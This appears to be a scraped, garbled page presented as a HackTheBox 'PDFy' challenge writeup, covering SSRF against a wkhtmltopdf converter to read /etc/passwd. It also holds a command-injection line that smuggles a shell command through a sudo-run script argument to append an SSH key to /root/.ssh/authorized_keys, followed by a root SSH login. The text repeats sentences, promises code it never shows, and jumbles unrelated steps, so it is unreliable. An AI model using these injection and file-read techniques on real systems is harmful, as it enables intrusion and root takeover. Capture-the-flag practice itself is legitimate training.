Pdfy Htb Writeup Upd Access

The is a top-tier walkthrough that balances hand-holding with deep technical insight. It’s clear the author took time to verify every step, update outdated commands, and explain the underlying vulnerabilities in a way that sticks with you.

Here is a solid, step-by-step walkthrough to master this challenge. 🔍 Challenge Overview : PDFy Category : Web Difficulty : Easy

os.system(f"pdftotext uploaded_file output_file") pdfy htb writeup upd

sudo /usr/local/bin/pdf_convert.py "test; echo '$(cat id_rsa.pub)' >> /root/.ssh/authorized_keys;"

By digging through standard locations (or using the SSRF to scan ports), we find that there is an internal API or service running on a non-standard port (often on this specific box). Change your exploit.php to: Use code with caution. The is a top-tier walkthrough that balances hand-holding

ssh-keygen -t rsa -b 4096 -f id_rsa

If you look at the metadata, you will find a critical clue that identifies the PDF generation engine: 🔍 Challenge Overview : PDFy Category : Web

Using ngrok tcp instead of the default HTTP tunnel is crucial. An HTTP tunnel would display a warning page, which the wkhtmltopdf tool cannot process, breaking the exploit. The TCP tunnel creates a raw connection, avoiding this issue.

The resulting PDF will contain the contents of /etc/passwd . And just like that, the flag is right there, completing the challenge.

ssh -i id_rsa root@10.10.11.xx